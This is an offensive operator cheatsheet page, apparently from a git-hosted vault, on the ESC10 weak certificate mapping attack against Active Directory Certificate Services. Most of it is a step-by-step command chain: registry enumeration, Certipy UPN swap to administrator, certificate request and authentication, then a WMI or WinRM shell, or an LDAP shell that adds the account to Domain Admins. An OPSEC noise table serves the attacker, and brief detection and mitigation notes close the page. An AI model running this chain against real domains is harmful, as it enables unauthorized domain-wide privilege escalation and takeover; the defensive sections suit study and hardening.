daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc10-weak-certificate-mapping.md (8004B)


      1 ---
      2 title: "ESC10 — Weak Certificate Mapping"
      3 description: "ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "kerberos", "adcs"]
      7 tools: ["NetExec", "Certipy", "BloodHound", "Evil-WinRM"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC10 — Weak Certificate Mapping.md"
     11 ---
     12 # ESC10 — Weak Certificate Mapping
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | DC Configuration Abuse |
     19 | **Difficulty** | Medium |
     20 | **Pre-requisites** | GenericWrite over an account + weak mapping registry settings on DC |
     21 | **Tools** | Certipy, BloodHound, netexec |
     22 | **OPSEC Noise** | Medium — UPN/DNS attribute changes generate AD change events |
     23 | **One-liner** | Abuse weak certificate-to-account mapping on the DC to impersonate any user via UPN/DNS swap, similar to ESC9/ESC16 but caused by DC registry settings. |
     24 
     25 ***
     26 
     27 ## What Is ESC10?
     28 
     29 ESC10 exploits **weak certificate-to-account mapping enforcement** on the Domain Controller. When the DC receives a certificate for authentication, it must determine which AD account the certificate belongs to. This "mapping" process can be **strong** (cryptographically verified via objectSID extension) or **weak** (trusting the UPN/DNS in the certificate without SID verification).
     30 
     31 ESC10 has **two distinct variants** based on which authentication protocol uses weak mapping:
     32 
     33 | Variant | Protocol | Registry Key | Vulnerable Value |
     34 |---------|----------|-------------|-----------------|
     35 | **ESC10a** | Kerberos (PKINIT) | `StrongCertificateBindingEnforcement` | `0` |
     36 | **ESC10b** | Schannel (LDAPS/TLS) | `CertificateMappingMethods` | Contains `0x04` (UPN mapping bit) |
     37 
     38 ***
     39 
     40 ## ESC10 vs ESC9 vs ESC16 — Why They Look Similar But Aren't
     41 
     42 All three use UPN/DNS swap → request cert → restore. The **root cause** differs:
     43 
     44 | | ESC9 | ESC10 | ESC16 |
     45 |---|---|---|---|
     46 | **Root cause** | Template flag `CT_FLAG_NO_SECURITY_EXTENSION` | **DC registry weak mapping** | CA-wide `DisableExtensionList` |
     47 | **SID extension in cert?** | ❌ (template strips it) | ✅ (SID IS present, but DC ignores it) | ❌ (CA strips it) |
     48 | **Where weakness lives** | Certificate Template | **Domain Controller** | Certificate Authority |
     49 | **Blocked by StrongBinding=2?** | ✅ | ❌ ESC10a requires value=0 | ❌ |
     50 
     51 ***
     52 
     53 ## Required Conditions — ESC10a (Kerberos)
     54 
     55 | Condition | Where to Check |
     56 |-----------|----------------|
     57 | `StrongCertificateBindingEnforcement = 0` on DC | Registry: `HKLM\SYSTEM\CurrentControlSet\Services\Kdc` |
     58 | Attacker has `GenericWrite` over an account | BloodHound ACE edges |
     59 | That account can enroll in a Client Auth template | Template enrollment rights |
     60 
     61 ## Required Conditions — ESC10b (Schannel)
     62 
     63 | Condition | Where to Check |
     64 |-----------|----------------|
     65 | `CertificateMappingMethods` contains UPN bit (`0x04`) | Registry: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel` |
     66 | Attacker has `GenericWrite` over an account | BloodHound ACE edges |
     67 | That account can enroll in a Client Auth template | Template enrollment rights |
     68 | LDAPS is enabled on DC | Port 636 accessible |
     69 
     70 ***
     71 
     72 ## Step 0 — Enumeration
     73 
     74 ```bash
     75 # Check StrongCertificateBindingEnforcement
     76 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
     77   -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
     78 # 0 = ESC10a exploitable
     79 # 1 = Compatibility mode (may still work in some scenarios)
     80 # 2 = Full enforcement (blocked)
     81 
     82 # Check CertificateMappingMethods
     83 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
     84   -x 'reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods'
     85 # If value contains 0x4 = UPN mapping enabled = ESC10b exploitable
     86 # Default value 0x1F = ALL methods enabled = ESC10b exploitable
     87 
     88 # Standard certipy scan
     89 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     90   -dc-ip $TARGET -vulnerable -stdout
     91 ```
     92 
     93 ***
     94 
     95 ## ESC10a Full Attack Chain — Kerberos (UPN Swap)
     96 
     97 The chain is similar to ESC9/ESC16 — swap UPN, request cert, restore, authenticate.
     98 
     99 ### Step 1 — Note Current UPN of Controlled Account
    100 ```bash
    101 certipy-ad account \
    102   -u 'lowpriv@domain.htb' \
    103   -p 'Password123!' \
    104   -dc-ip $TARGET \
    105   -user 'targetuser' \
    106   lookup
    107 # Note: targetuser@domain.htb
    108 ```
    109 
    110 ### Step 2 — Swap UPN to Administrator
    111 ```bash
    112 certipy-ad account \
    113   -u 'lowpriv@domain.htb' \
    114   -p 'Password123!' \
    115   -dc-ip $TARGET \
    116   -user 'targetuser' \
    117   -upn 'administrator' \
    118   update
    119 ```
    120 
    121 ### Step 3 — Request Certificate
    122 ```bash
    123 certipy-ad req \
    124   -u 'targetuser@domain.htb' \
    125   -p 'TargetPass!' \
    126   -dc-ip $TARGET \
    127   -ca 'DOMAIN-CA-NAME' \
    128   -template 'User'
    129 
    130 # Certificate WILL contain objectSID of targetuser
    131 # But StrongCertificateBindingEnforcement=0 means DC ignores it
    132 ```
    133 
    134 ### Step 4 — Restore UPN Immediately
    135 ```bash
    136 certipy-ad account \
    137   -u 'lowpriv@domain.htb' \
    138   -p 'Password123!' \
    139   -dc-ip $TARGET \
    140   -user 'targetuser' \
    141   -upn 'targetuser@domain.htb' \
    142   update
    143 ```
    144 
    145 ### Step 5 — Authenticate
    146 ```bash
    147 certipy-ad auth \
    148   -pfx administrator.pfx \
    149   -username administrator \
    150   -domain domain.htb \
    151   -dc-ip $TARGET
    152 
    153 # DC maps cert to administrator via UPN (ignoring SID mismatch)
    154 ```
    155 
    156 ### Step 6 — Shell
    157 ```bash
    158 export KRB5CCNAME=administrator.ccache
    159 wmiexec.py -k -no-pass DC01.domain.htb
    160 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    161 ```
    162 
    163 ***
    164 
    165 ## ESC10b Full Attack Chain — Schannel (LDAPS Auth)
    166 
    167 ESC10b is different — instead of using PKINIT for Kerberos auth, you authenticate directly to **LDAPS** using the forged certificate. The DC's Schannel provider maps the cert to a user via the weak UPN method.
    168 
    169 ### Steps 1–4 — Same as ESC10a (UPN swap, request cert, restore)
    170 
    171 ### Step 5 — Authenticate via Schannel (LDAPS)
    172 
    173 ```bash
    174 # Use certipy with -ldap-shell flag for Schannel authentication
    175 certipy-ad auth \
    176   -pfx administrator.pfx \
    177   -username administrator \
    178   -domain domain.htb \
    179   -dc-ip $TARGET \
    180   -ldap-shell
    181 
    182 # This gives you an LDAP shell as administrator
    183 # From here you can:
    184 # - Add yourself to Domain Admins
    185 # - Perform Shadow Credentials attack
    186 # - Dump LDAP data
    187 
    188 # In the LDAP shell:
    189 > add_user_to_group administrator "Domain Admins"
    190 > set_rbcd EVILPC$ DC01$
    191 ```
    192 
    193 > 💡 ESC10b via Schannel is particularly useful when PKINIT is disabled or when `StrongCertificateBindingEnforcement` is set to 2 (blocking ESC10a) but `CertificateMappingMethods` still has UPN mapping enabled.
    194 
    195 ***
    196 
    197 ## OPSEC Considerations
    198 
    199 | Action | Log Generated | Noise Level |
    200 |--------|--------------|-------------|
    201 | Registry query (remote) | Security Event 4688 (process creation) | 🟡 Medium |
    202 | UPN modification | Event ID 4738 (user account changed) | 🔴 High |
    203 | Certificate request | Event ID 4886/4887 on CA | 🟡 Medium |
    204 | LDAPS auth (ESC10b) | Event ID 4624 Type 10 via TLS | 🟡 Medium |
    205 
    206 ***
    207 
    208 ## Detection Indicators
    209 
    210 - **Event ID 4738** — Rapid UPN change + revert (same pattern as ESC9/ESC16)
    211 - **Event ID 4887** — Certificate issued where embedded SID doesn't match the UPN
    212 - **Registry monitoring** — `StrongCertificateBindingEnforcement` or `CertificateMappingMethods` changed from enforced to weak values
    213 - **LDAPS auth anomalies** — Certificate-based LDAPS logon from unexpected source IPs (ESC10b)
    214 
    215 ***
    216 
    217 ## Mitigation
    218 
    219 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — this is the single most important fix
    220 - **Remove UPN mapping bit from `CertificateMappingMethods`** — set to `0x18` (SHA1 PublicKey + IssuerSerialNumber only) instead of the default `0x1F`
    221 - **Audit `GenericWrite` ACEs** — the pre-requisite for the UPN swap
    222 - **Apply KB5014754** and move beyond the compatibility period
    223 - **Monitor UPN attribute changes** — alert on any `userPrincipalName` modification